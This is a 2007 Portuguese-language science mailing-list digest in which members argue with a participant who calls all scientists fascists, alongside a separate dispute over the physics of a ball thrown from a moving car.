> > Uma idéia? Mas uma idéia é um mapa.
> >
> > Uma coisa? Mas toda coisa é uma idéia.
> >
> > Porque leio essas asneiras na lista o tempo todo?
> >
> > Abraços,
> > JC
> >
>
>
>



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Meu blog:
http://masterofdarkness.multiply.com/journal

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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] P/ JC - Re: Mapa e território
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/06/2007 15:45


> Por que todo cientista é fascista?

Essa é a sua opinião, e a respeito.

Mas, soa como uma opinião generalista ("todo cientista"), preconceituosa,
agressiva (em uma lista formada por cientistas, em boa parte), infundada (ao
meu ver) e, principalmente, totalmente incoerente para alguém que
voluntariamente se inscreve em uma lista de ciência.

Essa é a minha opinião.

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Amauri Voltaire
Enviada em: sexta-feira, 22 de junho de 2007 15:27
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] P/ JC - Re: Mapa e território

Por que todo cientista é fascista?





SUBJECT: Re: [ciencialist] P/ JC - Re: Mapa e território
FROM: "Amauri Voltaire " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 16:04

Ricardo,

Analiso pelo que Homero e outros dizem, não tendo respeito as opiniões
contrarias...

sds

Em 22/06/07, Ricardo <ricardos@infolink.com.br> escreveu:
>
>
> > Por que todo cientista é fascista?
>
> Essa é a sua opinião, e a respeito.
>
> Mas, soa como uma opinião generalista ("todo cientista"), preconceituosa,
> agressiva (em uma lista formada por cientistas, em boa parte), infundada
> (ao
> meu ver) e, principalmente, totalmente incoerente para alguém que
> voluntariamente se inscreve em uma lista de ciência.
>
> Essa é a minha opinião.
>
> -----Mensagem original-----
> De: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>[mailto:
> ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>]
> Em nome de Amauri Voltaire
> Enviada em: sexta-feira, 22 de junho de 2007 15:27
> Para: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Assunto: Re: [ciencialist] P/ JC - Re: Mapa e território
>
> Por que todo cientista é fascista?
>
>
>



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("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
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Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Amauri - P/ JC - Re: Mapa e território
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/06/2007 16:07

Olá Amauri

Amauri: "Por que todo cientista é fascista?"

Eles não são. Facismo é uma ideologia, e cientistas, como seres humanos, são tanto fascistas quanto marxistas, centro-direitistas, democratas, socialistas, etc, etc.

Já a ciência não é nem fascista nem mais nada, já que não tem a ver com ideologias. Mas ela também não é democrática (ou coisa do tipo), pois não é uma questão de voto, escolha ou decisão popular. São fatos e evidências que a sustentam, uma forma de conhecer e entender os mecanismos e processos deste universo, e de descreve-los com correção e confiabilidade.

Você só fala asneiras, e é um direito seu. Mas nada do que diga, nesse sentido, afeta ou se relaciona com a ciência. Conhecimento científico simplesmente não liga para o que você gosta, acha ou deixa de achar. Por isso as vezes esse conhecimento parece doloroso, por confrontar seus desejos e crenças, por desafiar sua visão subjetiva de mundo, de como o mundo "deveria ser".

Suas mensagens me lembram a piada sobre a cidade do interior onde a camara de vereadores queria porque queria construir a nova caixa d´agua da cidade em um terreno na parte baixa da cidade. Entretanto, acessores tentaram esclarecer que isso não seria possível, pois a lei da gravidade impedia que a caixa fosse instalada neste local.

Sem problemas, os vereadores revogaram, "a nível municipal", a tal "lei da gravidade"..:-)

Não há algo como ser "politicamente correto" em ciência, e não há como ser mais ou menos fascista em termos de conhecimento científico. Não vamos levar sua "opinião" em consideração, a não ser que possa defende-la com fatos, dados, estudos e evidências. Ser "cadeirante", ser deficiente, ser mais bonzinho, ser minoria, ser uma ótima pessoa, ser quase um santo, ser quase um demonio, de direita, de esquerda, de centro, etc, nada disso torna suas alegações mais aceitáveis ou passíveis de maior consideração.

A ciência é dura, rigorosa e implacável com alegações, mas só assim é que ela pode manter sua eficácia e sua capacidade de criar conhecimento confiável.

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ Amauri - P/ JC - Re: Mapa e território
FROM: "Amauri Voltaire " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 16:16

Olá Homero,

Já que estamos entrando nesse escopo, por que nenhum cientista admite que
está errado e tenta pesquisar sobre? Abrir a cabeça é questão de
inteligência, sabia? :-)

sds



Em 22/06/07, Oraculo <oraculo@atibaia.com.br> escreveu:
>
> Olá Amauri
>
> Amauri: "Por que todo cientista é fascista?"
>
> Eles não são. Facismo é uma ideologia, e cientistas, como seres humanos,
> são tanto fascistas quanto marxistas, centro-direitistas, democratas,
> socialistas, etc, etc.
>
> Já a ciência não é nem fascista nem mais nada, já que não tem a ver com
> ideologias. Mas ela também não é democrática (ou coisa do tipo), pois não é
> uma questão de voto, escolha ou decisão popular. São fatos e evidências que
> a sustentam, uma forma de conhecer e entender os mecanismos e processos
> deste universo, e de descreve-los com correção e confiabilidade.
>
> Você só fala asneiras, e é um direito seu. Mas nada do que diga, nesse
> sentido, afeta ou se relaciona com a ciência. Conhecimento científico
> simplesmente não liga para o que você gosta, acha ou deixa de achar. Por
> isso as vezes esse conhecimento parece doloroso, por confrontar seus desejos
> e crenças, por desafiar sua visão subjetiva de mundo, de como o mundo
> "deveria ser".
>
> Suas mensagens me lembram a piada sobre a cidade do interior onde a camara
> de vereadores queria porque queria construir a nova caixa d´agua da cidade
> em um terreno na parte baixa da cidade. Entretanto, acessores tentaram
> esclarecer que isso não seria possível, pois a lei da gravidade impedia que
> a caixa fosse instalada neste local.
>
> Sem problemas, os vereadores revogaram, "a nível municipal", a tal "lei da
> gravidade"..:-)
>
> Não há algo como ser "politicamente correto" em ciência, e não há como ser
> mais ou menos fascista em termos de conhecimento científico. Não vamos levar
> sua "opinião" em consideração, a não ser que possa defende-la com fatos,
> dados, estudos e evidências. Ser "cadeirante", ser deficiente, ser mais
> bonzinho, ser minoria, ser uma ótima pessoa, ser quase um santo, ser quase
> um demonio, de direita, de esquerda, de centro, etc, nada disso torna suas
> alegações mais aceitáveis ou passíveis de maior consideração.
>
> A ciência é dura, rigorosa e implacável com alegações, mas só assim é que
> ela pode manter sua eficácia e sua capacidade de criar conhecimento
> confiável.
>
> Homero
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>



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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
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SUBJECT: P/ JC - Re: Mapa e território
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 16:54

--- Em ciencialist@yahoogrupos.com.br, "Amauri Voltaire " <amaurij@...>
> Por que todo cientista é fascista?

Tem gente pedindo pra ser expulso...

[]s,

Roberto Takata



SUBJECT: P/ Amauri - P/ JC - Re: Mapa e território
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/06/2007 17:03

Olá Amauri

Amauri: "Já que estamos entrando nesse escopo, por que nenhum cientista admite que está errado e tenta pesquisar sobre? Abrir a cabeça é questão de inteligência, sabia? :-)"

PQP!!!! NENHUM cientista admite que está errado e não tentam pesquisar sobre??!?!?! Fala sério, Amauri, o que acha que produziu tudo o que vê a sua volta??!!. Como pensa que deixamos, por exemplo, os miasmas maléficos causadores de doenças, e passamos a microbiologia, que permitiu que nossa espectativa de vida ultrapassasse os 80 anos (quando nossos antepassados tinham uma espectativa de vida de menos de 30 anos)???

Acho que nem se abrimos sua cabeça com uma serra, ajudaria em alguma coisa..:-)

Abrir a cabeça não deve ser levado tão longe a ponto de deixar cair o cérebro para fora (o que parece ter acontecido com você..:-).

Estas discussões com você, aqui e em outras listas, é extremamente desgatante, pois como nunca consegue entender nada do que é escrito, ficamos a girar em conversas circulares, acusações sem conteúdo ou base e maluquices diversas.

Amauri, o computador que usa para escrever todas essas bobagens é fruto direto da mente aberta de cientistas, de seu esforço em pesquisar sobre, na admissão de caminhos errados, que são abandonados por novos caminhos mais produtivos, etc, etc. Sua sobrevivência, seu atual conforto apesar da deficiência, a possibilidade de viver mais e melhor, tudo enfim a sua volta, refuta e contradiz sua alegação tola e preconceituosa. Neste momento, milhares de cientistas pelo mundo todo lutam para pesquisar sobre, descobrir erros e enganos, criar novos conhecimentos, e isso tudo apesar da relutância do resto da humanidade em abrir mão de suas crenças solidificadas e seus preconceitos sem base.

Sinal de inteligência, Amauri, é compreender os argumentos que são apresentados, ser capaz de avaliar as evidências disponíveis, e não ficar falando bobagens em listas de discussão para puxar briga com "os malvados e tolos cientistas".

Homero







----- Original Message -----
From: Amauri Voltaire
To: ciencialist@yahoogrupos.com.br
Sent: Friday, June 22, 2007 4:16 PM
Subject: Re: [ciencialist] P/ Amauri - P/ JC - Re: Mapa e território


Olá Homero,

Já que estamos entrando nesse escopo, por que nenhum cientista admite que
está errado e tenta pesquisar sobre? Abrir a cabeça é questão de
inteligência, sabia? :-)

sds

Em 22/06/07, Oraculo <oraculo@atibaia.com.br> escreveu:
>
> Olá Amauri
>
> Amauri: "Por que todo cientista é fascista?"
>
> Eles não são. Facismo é uma ideologia, e cientistas, como seres humanos,
> são tanto fascistas quanto marxistas, centro-direitistas, democratas,
> socialistas, etc, etc.
>
> Já a ciência não é nem fascista nem mais nada, já que não tem a ver com
> ideologias. Mas ela também não é democrática (ou coisa do tipo), pois não é
> uma questão de voto, escolha ou decisão popular. São fatos e evidências que
> a sustentam, uma forma de conhecer e entender os mecanismos e processos
> deste universo, e de descreve-los com correção e confiabilidade.
>
> Você só fala asneiras, e é um direito seu. Mas nada do que diga, nesse
> sentido, afeta ou se relaciona com a ciência. Conhecimento científico
> simplesmente não liga para o que você gosta, acha ou deixa de achar. Por
> isso as vezes esse conhecimento parece doloroso, por confrontar seus desejos
> e crenças, por desafiar sua visão subjetiva de mundo, de como o mundo
> "deveria ser".
>
> Suas mensagens me lembram a piada sobre a cidade do interior onde a camara
> de vereadores queria porque queria construir a nova caixa d´agua da cidade
> em um terreno na parte baixa da cidade. Entretanto, acessores tentaram
> esclarecer que isso não seria possível, pois a lei da gravidade impedia que
> a caixa fosse instalada neste local.
>
> Sem problemas, os vereadores revogaram, "a nível municipal", a tal "lei da
> gravidade"..:-)
>
> Não há algo como ser "politicamente correto" em ciência, e não há como ser
> mais ou menos fascista em termos de conhecimento científico. Não vamos levar
> sua "opinião" em consideração, a não ser que possa defende-la com fatos,
> dados, estudos e evidências. Ser "cadeirante", ser deficiente, ser mais
> bonzinho, ser minoria, ser uma ótima pessoa, ser quase um santo, ser quase
> um demonio, de direita, de esquerda, de centro, etc, nada disso torna suas
> alegações mais aceitáveis ou passíveis de maior consideração.
>
> A ciência é dura, rigorosa e implacável com alegações, mas só assim é que
> ela pode manter sua eficácia e sua capacidade de criar conhecimento
> confiável.
>
> Homero
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>

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http://masterofdarkness.multiply.com/journal

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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ JC - Re: Mapa e território
FROM: "Amauri Voltaire " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 17:03

Foi só uma pergunta, embora, respondida a altura de tais fascistas...:-)

sds

Em 22/06/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> "Amauri Voltaire " <amaurij@...>
> > Por que todo cientista é fascista?
>
> Tem gente pedindo pra ser expulso...
>
> []s,
>
> Roberto Takata
>
>
>



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aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Amauri - P/ JC - Re: Mapa e território
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 17:13

--- Em ciencialist@yahoogrupos.com.br, "Amauri Voltaire "
> Abrir a cabeça é questão de inteligência, sabia? :-)

Por q *você* não abre a cabeça e admite q está errado?

A prática da ciência é sempre partir do pressuposto q de é possível
estar enganado. Por isso não se fia em certezas, mas sim em refutar
hipóteses. Ou seja, a prática científica leva à abertura da mente -
apenas isso não significa perder completamente a noção do q é
razoável. O q é razoável ou não quem dita são os dados da natureza.

[]s,

Roberto Takata



SUBJECT: P/ JC - Re: Mapa e território
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 17:16

--- Em ciencialist@yahoogrupos.com.br, "Amauri Voltaire "
> Foi só uma pergunta, embora, respondida a altura de tais
> fascistas...:-)

Não foi só uma pergunta. Uma simples pergunta seria: "cientistas são
fascistas?". Uma pergunta do tipo: "por que todo cientista é
fascista?" implica em admitir a priori q todos os cientistas são
fascistas.

É tão ofensivo qto a perguntar: "Por q o Amauri é tão burro?"

Vc tem então até a próxima mensagem para se desculpar ou será
eliminado do grupo.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ JC - Re: Mapa e território
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/06/2007 17:38

Olá Amauri

Amauri: "Foi só uma pergunta, embora, respondida a altura de tais fascistas...:-)"

Não, não foi. Foi um exemplo clássico da falácia chamada "implorar a pergunta". Como em: "você já parou de bater em sua esposa?"

Neste caso, se a resposta do interlocutor for positiva, implica em que ele realmente batia na esposa, se for negativa, implica em que ele ainda bate na esposa.

Veja a diferença entre estas duas formas de perguntar:

1 - O Amauri é idiota?

2 - Porque o Amauri é tão idiota?

Na primera pergunta, 1, a resposta negativa, o Amauri não é idiota é cabível. Mas na segunda, 2, apenas as explicações de "por que" ele é idiota são cabíveis.

A primeira é uma indagação, a segunda é uma ofensa clara, uma forma falaciosa de argumentar.

Homero



----- Original Message -----
From: Amauri Voltaire
To: ciencialist@yahoogrupos.com.br
Sent: Friday, June 22, 2007 5:03 PM
Subject: Re: [ciencialist] P/ JC - Re: Mapa e território


Foi só uma pergunta, embora, respondida a altura de tais fascistas...:-)

sds

Em 22/06/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> "Amauri Voltaire " <amaurij@...>
> > Por que todo cientista é fascista?
>
> Tem gente pedindo pra ser expulso...
>
> []s,
>
> Roberto Takata
>
>
>

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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês

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SUBJECT: RES: [ciencialist] P/ JC - Re: Mapa e território
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/06/2007 18:08

Ok, agora entendo o que queria dizer. Mas eu, se tivesse essa mesma opinião,
acho que reformularia a frase para: Por que o Homero e outros me parecem
fascistas?

Pessoalmente não concordo. Vejo o Homero (e outros) discutir com base em
argumentos objetivos. Quando as refutações são também objetivas e claras
vejo ele ceder, ou continuar o debate, sem problemas. Mas têm pessoas na
lista que se repetem em argumentos sem nenhuma objetividade, tornando
difícil, às vezes, não perder a calma. Mas perder a calma nunca é bom, com
certeza. Neste ponto concordo. De resto, não concordo.

Abs,

Ricardo


-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Amauri Voltaire
Enviada em: sexta-feira, 22 de junho de 2007 16:04
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] P/ JC - Re: Mapa e território

Ricardo,

Analiso pelo que Homero e outros dizem, não tendo respeito as opiniões
contrarias...

sds

Em 22/06/07, Ricardo <ricardos@infolink.com.br> escreveu:
>
>
> > Por que todo cientista é fascista?
>
> Essa é a sua opinião, e a respeito.
>
> Mas, soa como uma opinião generalista ("todo cientista"), preconceituosa,
> agressiva (em uma lista formada por cientistas, em boa parte), infundada
> (ao
> meu ver) e, principalmente, totalmente incoerente para alguém que
> voluntariamente se inscreve em uma lista de ciência.
>
> Essa é a minha opinião.
>
> -----Mensagem original-----
> De: ciencialist@yahoogrupos.com.br
<ciencialist%40yahoogrupos.com.br>[mailto:
> ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>]
> Em nome de Amauri Voltaire
> Enviada em: sexta-feira, 22 de junho de 2007 15:27
> Para: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Assunto: Re: [ciencialist] P/ JC - Re: Mapa e território
>
> Por que todo cientista é fascista?
>
>
>



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SUBJECT: RES: [ciencialist] P/ JC - Re: Mapa e território
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/06/2007 18:13

Foi uma afirmação (dentro da pergunta) totalmente incompatível com uma lista
de ciências.

-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Amauri Voltaire
Enviada em: sexta-feira, 22 de junho de 2007 17:04
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] P/ JC - Re: Mapa e território

Foi só uma pergunta, embora, respondida a altura de tais fascistas...:-)

sds

Em 22/06/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> --- Em ciencialist@yahoogrupos.com.br
<ciencialist%40yahoogrupos.com.br>,
> "Amauri Voltaire " <amaurij@...>
> > Por que todo cientista é fascista?
>
> Tem gente pedindo pra ser expulso...
>
> []s,
>
> Roberto Takata
>
>
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SUBJECT: Re: [ciencialist] P/ Amauri - P/ JC - Re: Mapa e território
FROM: "Amauri Voltaire " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 18:32

Homero,

Entenda que não nego a ciencia, ,muito pelo contrario, sou seu admirador e
seu defensor diante de tantos criancionistas de plantão. Como deve saber,
também tenho minhas crenças que se baseiam na lei da evolução tanto
biológica como espiritual. O que acontece que tento a anos trazer argumentos
que tão pouco compreendo e que até agora não foi respondido nem por você e
nem nenhum membro da lista. Se analisar bem, truxe uma discussão bem
pertinente na outra lista que sinceramente, você respondeu bem, mas deixou
algumas lacunas porque não quer responder para esclarecer, quer que as
pessoas tenham sensação de terem errado, serem ignorante...pra quê?

Eu vejo você tirando uma do Molina ou do Ferrari como se eles tivessem
dando um showzinho pra vocês rirem...tem suas opiniões e idéias como
qualquer um, como um volteiriano não posso admitir que a ciência tenha esse
fim. Você Homero, tem que admitir que errou, que se limitou dentro de um só
escopo da ciencia que Francis Bacon (era filósofo), Popper (também filosofo)
entre outros tenham errado. Acredito no pensamento de Leibniz que diz que a
natureza não dá saltos, portanto, no meio de tanta busca se limitamos a
acreditar que o universo foi criado dentro de um vácuo.

Computadores foram criados graças a Leibniz e seu sistema binário que na
época foi rejeitado, como muitos outros. Como posso acreditar numa ciência e
ver outra? Ver que quando estou em coma, vejo meu corpo por inteiro porque
meu cérebro produz...mas como ele produz se ele só vê reto, onde meus olhos
alcançam? Enquanto isso as pessoas morrem de aids, de ebola, porque a
ciencia quer me convencer que essas doenças vieram da natureza. Sabe homero,
tem coisa que não dá pra depositar credulidade, você é estudado não é um
ignorante e sabe que essas coisas existem e são armas biológicas...um dia
tudo vai ir a tona e vamos ver quem tem razão, os senhores sábios ou os
malucos eu sinceramente, prefiro ser maluco do que ter respostas já
fabricadas por outras pessoas...

sinceramente sds
Amauri

Em 22/06/07, Oraculo <oraculo@atibaia.com.br> escreveu:
>
> Olá Amauri
>
> Amauri: "Já que estamos entrando nesse escopo, por que nenhum cientista
> admite que está errado e tenta pesquisar sobre? Abrir a cabeça é questão de
> inteligência, sabia? :-)"
>
> PQP!!!! NENHUM cientista admite que está errado e não tentam pesquisar
> sobre??!?!?! Fala sério, Amauri, o que acha que produziu tudo o que vê a sua
> volta??!!. Como pensa que deixamos, por exemplo, os miasmas maléficos
> causadores de doenças, e passamos a microbiologia, que permitiu que nossa
> espectativa de vida ultrapassasse os 80 anos (quando nossos antepassados
> tinham uma espectativa de vida de menos de 30 anos)???
>
> Acho que nem se abrimos sua cabeça com uma serra, ajudaria em alguma
> coisa..:-)
>
> Abrir a cabeça não deve ser levado tão longe a ponto de deixar cair o
> cérebro para fora (o que parece ter acontecido com você..:-).
>
> Estas discussões com você, aqui e em outras listas, é extremamente
> desgatante, pois como nunca consegue entender nada do que é escrito, ficamos
> a girar em conversas circulares, acusações sem conteúdo ou base e maluquices
> diversas.
>
> Amauri, o computador que usa para escrever todas essas bobagens é fruto
> direto da mente aberta de cientistas, de seu esforço em pesquisar sobre, na
> admissão de caminhos errados, que são abandonados por novos caminhos mais
> produtivos, etc, etc. Sua sobrevivência, seu atual conforto apesar da
> deficiência, a possibilidade de viver mais e melhor, tudo enfim a sua volta,
> refuta e contradiz sua alegação tola e preconceituosa. Neste momento,
> milhares de cientistas pelo mundo todo lutam para pesquisar sobre, descobrir
> erros e enganos, criar novos conhecimentos, e isso tudo apesar da relutância
> do resto da humanidade em abrir mão de suas crenças solidificadas e seus
> preconceitos sem base.
>
> Sinal de inteligência, Amauri, é compreender os argumentos que são
> apresentados, ser capaz de avaliar as evidências disponíveis, e não ficar
> falando bobagens em listas de discussão para puxar briga com "os malvados e
> tolos cientistas".
>
> Homero
>
>
> ----- Original Message -----
> From: Amauri Voltaire
> To: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Sent: Friday, June 22, 2007 4:16 PM
> Subject: Re: [ciencialist] P/ Amauri - P/ JC - Re: Mapa e território
>
> Olá Homero,
>
> Já que estamos entrando nesse escopo, por que nenhum cientista admite que
> está errado e tenta pesquisar sobre? Abrir a cabeça é questão de
> inteligência, sabia? :-)
>
> sds
>
> Em 22/06/07, Oraculo <oraculo@atibaia.com.br <oraculo%40atibaia.com.br>>
> escreveu:
> >
> > Olá Amauri
> >
> > Amauri: "Por que todo cientista é fascista?"
> >
> > Eles não são. Facismo é uma ideologia, e cientistas, como seres humanos,
> > são tanto fascistas quanto marxistas, centro-direitistas, democratas,
> > socialistas, etc, etc.
> >
> > Já a ciência não é nem fascista nem mais nada, já que não tem a ver com
> > ideologias. Mas ela também não é democrática (ou coisa do tipo), pois
> não é
> > uma questão de voto, escolha ou decisão popular. São fatos e evidências
> que
> > a sustentam, uma forma de conhecer e entender os mecanismos e processos
> > deste universo, e de descreve-los com correção e confiabilidade.
> >
> > Você só fala asneiras, e é um direito seu. Mas nada do que diga, nesse
> > sentido, afeta ou se relaciona com a ciência. Conhecimento científico
> > simplesmente não liga para o que você gosta, acha ou deixa de achar. Por
> > isso as vezes esse conhecimento parece doloroso, por confrontar seus
> desejos
> > e crenças, por desafiar sua visão subjetiva de mundo, de como o mundo
> > "deveria ser".
> >
> > Suas mensagens me lembram a piada sobre a cidade do interior onde a
> camara
> > de vereadores queria porque queria construir a nova caixa d´agua da
> cidade
> > em um terreno na parte baixa da cidade. Entretanto, acessores tentaram
> > esclarecer que isso não seria possível, pois a lei da gravidade impedia
> que
> > a caixa fosse instalada neste local.
> >
> > Sem problemas, os vereadores revogaram, "a nível municipal", a tal "lei
> da
> > gravidade"..:-)
> >
> > Não há algo como ser "politicamente correto" em ciência, e não há como
> ser
> > mais ou menos fascista em termos de conhecimento científico. Não vamos
> levar
> > sua "opinião" em consideração, a não ser que possa defende-la com fatos,
> > dados, estudos e evidências. Ser "cadeirante", ser deficiente, ser mais
> > bonzinho, ser minoria, ser uma ótima pessoa, ser quase um santo, ser
> quase
> > um demonio, de direita, de esquerda, de centro, etc, nada disso torna
> suas
> > alegações mais aceitáveis ou passíveis de maior consideração.
> >
> > A ciência é dura, rigorosa e implacável com alegações, mas só assim é
> que
> > ela pode manter sua eficácia e sua capacidade de criar conhecimento
> > confiável.
> >
> > Homero
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> > [As partes desta mensagem que não continham texto foram removidas]
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> O que importa é o que você faz com
> aquilo que fizeram para você".
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> Jean-Paul Sartre (1905-1980)
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encontrou energia para fazê-lo!" Nietszche)

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Jean-Paul Sartre (1905-1980)
Filósofo francês


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SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/06/2007 18:34

Takata: [ Como eu disse, se fosse pelo vento os arcos NÃO seriam
simétricos. ]
..................................................

Discordo. O empuxo do vento sobre a bola ocorre em maior intensidade quando
ela é lançada e está na altura do lançador instalado no carro, e se dilui
rapidamente. A aceleração maior é proporcionada a bola nos instantes da
primeira trajetória em que ela cai ao chão após lançada. Isso é percebido no
filme pela inclinação da trajetória de queda para a esquerda. As diferenças
de velocidades entre a bola e o carro certamente deveria ser considerada se
a inclinação da primeira trajetória fosse para a direita. Quanto ao efeito
da rotação da bola em si própria só ocorreria após quicar no chão e não
antes. E como mostra o filme a inclinação já ocorre antes do primeiro toque
no chão. C.q.d.
Suas outras observações fora disso são apenas contraditórios especulativos.
[]s
JR
..........................................................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, June 21, 2007 3:30 PM
Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h:osresultados


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> JR1 - Como já expliquei anteriormente o empuxo do vento na bola é
> mais forte quando ela é lançada, mas o empuxo só passa a atuar
> efetivamente *após o lançamento* a partir do qual o efeito de
> aceleração aumenta a velocidade da bola na horizontal a cada
> instante. Dá para entender que assim a bola
> acelera e os arcos ficam mais abertos...

Como eu disse, se fosse pelo vento os arcos NÃO seriam simétricos. Se
o vento acelera a bola horizontalmente a cada instante, a velocidade
horizontal da bola seria cada vez maior - como a posição à esquerda
figura representa instantes posteriores no tempo, significa q a cada
ponto à esquerda, a bola teria uma velocidade horizontal maior. Como o
tempo de subida e de descida da bola é mais ou menos igual
(considerando-se cada arco), significa q enqto a bola sobe ela tem uma
velocidade horizontal média MENOR do q qto ela desce - velocidade
maior para tempos equivalentes significa deslocamento MAIOR, assim a
porção à esquerda de cada arco teria q ser MAIOR do q a porção à
direita, o q quebraria completamente a simetria.

> JR1 - Parece que vc homerou de vez...

Como eu disse, essa parte deixo para vc divertir ao Homero e cia.

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] P/ JC - Re: Mapa e território
FROM: "Amauri Voltaire " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 18:38

Quero me desculpar, cientistas não são fascistas, apenas querem o bem da
humanidade é tudo bonzinho...:-)

ta bom assim?

sds

Em 22/06/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> "Amauri Voltaire "
> > Foi só uma pergunta, embora, respondida a altura de tais
> > fascistas...:-)
>
> Não foi só uma pergunta. Uma simples pergunta seria: "cientistas são
> fascistas?". Uma pergunta do tipo: "por que todo cientista é
> fascista?" implica em admitir a priori q todos os cientistas são
> fascistas.
>
> É tão ofensivo qto a perguntar: "Por q o Amauri é tão burro?"
>
> Vc tem então até a próxima mensagem para se desculpar ou será
> eliminado do grupo.
>
> []s,
>
> Roberto Takata
>
>
>



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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/06/2007 19:20

Olá, Ricardo! Faço questão de registrar a capacidade que vc e Homero têm de
desviarem-se do objetivo, de confundir ou ficar apenas chapinhando na
superfície da questão dos referenciais utilizados para medir as velocidades
do carro e a da bola. Essa questão que levantei na experiência da bola
lançada do carro nas mesmas velocidades em sentidos contrários, que é
semelhante a questão do avião-esteira, parece que ninguém quer ver... Fogem
dela como o capeta da cruz. Faço outros comentários no texto abaixo, após
JR1 -, OK?
................................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, June 21, 2007 3:12 PM
